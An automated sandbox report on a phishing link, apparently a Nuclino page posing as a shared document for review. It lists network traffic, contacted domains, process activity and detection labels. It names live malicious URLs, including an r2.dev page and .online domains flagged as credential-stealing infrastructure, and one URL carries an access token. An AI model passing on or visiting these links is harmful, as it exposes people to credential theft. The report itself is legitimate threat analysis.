Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2)
Source: chromecache_77.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2pL7SUc.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlM-vWjMY.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMOvWjMY.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMevWjMY.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlMuvWjMY.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlOevWjMY.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlPevW.woff2)
Source: chromecache_84.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcecodepro/v23/HI_SiYsKILxRpg3hIP6sJ7fM7PqlPuvWjMY.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3w8aZQ.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wAaZfrc.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wEaZfrc.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wIaZfrc.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wMaZfrc.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wsaZfrc.woff2)
Source: chromecache_78.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/sourcesans3/v15/nwpStKy2OAdR1K-IwhWudF-R3wwaZfrc.woff2)
Source: chromecache_79.1.dr, chromecache_80.1.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: chromecache_91.1.dr	String found in binary or memory: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#
Source: chromecache_94.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: chromecache_91.1.dr	String found in binary or memory: https://www.nuclino.com/?utm_source=public-item

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49732 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@20/46@36/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1972,i,12892662554614850121,2233695481306920314,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1972,i,12892662554614850121,2233695481306920314,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

LLM: Page contains button: 'VOIR LES DOCUMENTS' Source: '0.0.pages.csv'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://jquery.org/license	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	0%	URL Reputation	safe
https://developers.cloudflare.com/r2/data-access/public-buckets/	0%	URL Reputation	safe
http://javascript.nwbox.com/IEContentLoaded/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
ii64j0n4olj.tkllop.online	104.21.57.143	true	false	unknown
code.jquery.com	151.101.194.137	true	false	unknown
pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev	162.159.140.237	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
freeipapi.com	188.114.97.3	true	false	unknown
www.google.com	142.250.185.196	true	false	unknown
55fsodlv18t.dffjl.online	104.21.48.111	true	false	unknown
share.nuclino.com.herokudns.com	52.212.52.84	true	false	unknown
files.nuclino.com.herokudns.com	52.212.52.84	true	false	unknown
s3-r-w.eu-central-1.amazonaws.com	3.5.139.156	true	false	unknown
share.nuclino.com	unknown	unknown	false	unknown
files.nuclino.com	unknown	unknown	false	unknown
nuclino-files.s3.eu-central-1.amazonaws.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	URL Reputation: safe	unknown
https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b	true		unknown
https://55fsodlv18t.dffjl.online/obufsssssssscaaatoion/	false		unknown
https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html	false		unknown
https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html#	true		unknown
https://ii64j0n4olj.tkllop.online/obufsssssssscaaatoion/	false		unknown
https://share.nuclino.com/p/img/logo.svg	false		unknown
https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/favicon.ico	false		unknown
https://code.jquery.com/jquery-1.9.1.js	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.16.9/katex.min.css	false		unknown
https://share.nuclino.com/	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.1.2/css/material-design-iconic-font.min.css	false		unknown
https://a.nel.cloudflare.com/report/v4?s=bxIG1NJBiGgGMhz1wqqIVAyXzWfVq%2Bx5KVGM0EUnCcCOH8QCy2XcxtL61r1%2FzTfJnWMjB06EgnMQqVVNB1oa9Xh%2BJx%2FW0qQz11AJW1kH0itDgJhCxeVOCQiyNf8235ACdpjU2xd8NopQKA4J	false		unknown
https://files.nuclino.com/files/f89a255e-4aae-48e1-ac8e-8d8d9885c27d/6160d273-1306-450f-93ab-5f4655227e69.png?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmODlhMjU1ZS00YWFlLTQ4ZTEtYWM4ZS04ZDhkOTg4NWMyN2QiLCJwdXJwb3NlIjoiZ2V0LWZpbGUiLCJleHAiOjE3MjkyNDY3MzgsImlhdCI6MTcyOTI0MzEzOH0.AFTKbdyDi2jTNEHvZhRtvIw_qcPusDwS3CysmVsaQhc&preview=m	false		unknown
https://share.nuclino.com/favicon.ico	false		unknown
https://freeipapi.com/api/json/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://bugs.jquery.com/ticket/12359	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://jquery.org/license	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
http://json.org/json2.js	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://sizzlejs.com/	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
https://files.nuclino.com/files/f89a255e-4aae-48e1-ac8e-8d8d9885c27d/6160d273-1306-450f-93ab-5f46552	chromecache_91.1.dr	false		unknown
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://jsperf.com/getall-vs-sizzle/2	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://bugs.jquery.com/ticket/12282#comment:15	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://www.nuclino.com/?utm_source=public-item	chromecache_91.1.dr	false		unknown
https://developer.mozilla.org/en/Security/CSP)	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://www.cloudflare.com/favicon.ico	chromecache_94.1.dr	false		unknown
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_94.1.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/764	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_79.1.dr, chromecache_80.1.dr	false		unknown
http://javascript.nwbox.com/IEContentLoaded/	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown
http://jquery.com/	chromecache_79.1.dr, chromecache_80.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.159.140.237	pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	unknown	United States	54113	FASTLYUS	false
3.5.139.156	s3-r-w.eu-central-1.amazonaws.com	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	freeipapi.com	European Union	13335	CLOUDFLARENETUS	false
52.212.52.84	share.nuclino.com.herokudns.com	United States	16509	AMAZON-02US	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
104.21.57.143	ii64j0n4olj.tkllop.online	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.48.111	55fsodlv18t.dffjl.online	United States	13335	CLOUDFLARENETUS	false
52.219.171.10	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1536903
Start date and time:	2024-10-18 11:18:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@20/46@36/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.99, 216.58.212.142, 142.251.168.84, 34.104.35.123, 172.217.16.202, 142.250.186.163, 142.250.185.174
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, fonts.gstatic.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 08:18:57 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9807735749867894
Encrypted:	false
SSDEEP:	48:8AdKpTqRefHw9WidAKZdA1FehwiZUklqehQy+3:8/p2kIavy
MD5:	C0417E6EB150244700EACAAB21B822D3
SHA1:	B9E0F5BB015138E79BFE91E42FF348B84C625FDC
SHA-256:	AA5953AA8E7D85C2C048BB0CDD7C98AF772CF80DEA9B343361991EF3E14E9E22
SHA-512:	AFA2FC4574F9202118B3A5FEAD50C638322764C6A9DFE1C4D282B61AA81B6F41508874649983B0B39A6D630A98DBC870EB79B639A5BD810E163B3BA0B5751F7A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....S...>!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IRYRJ....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY\J....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY\J....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY\J..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY]J...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........%.f^.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 11:18:56.249743938 CEST	53	57952	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:56.278193951 CEST	53	52967	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:57.169116020 CEST	61260	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:57.169255018 CEST	59864	53	192.168.2.16	1.1.1.1
Oct 18, 2024 11:18:57.195188046 CEST	53	61260	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:57.208692074 CEST	53	59864	1.1.1.1	192.168.2.16
Oct 18, 2024 11:18:57.549307108 CEST	53	64116	1.1.1.1	192.168.2.16
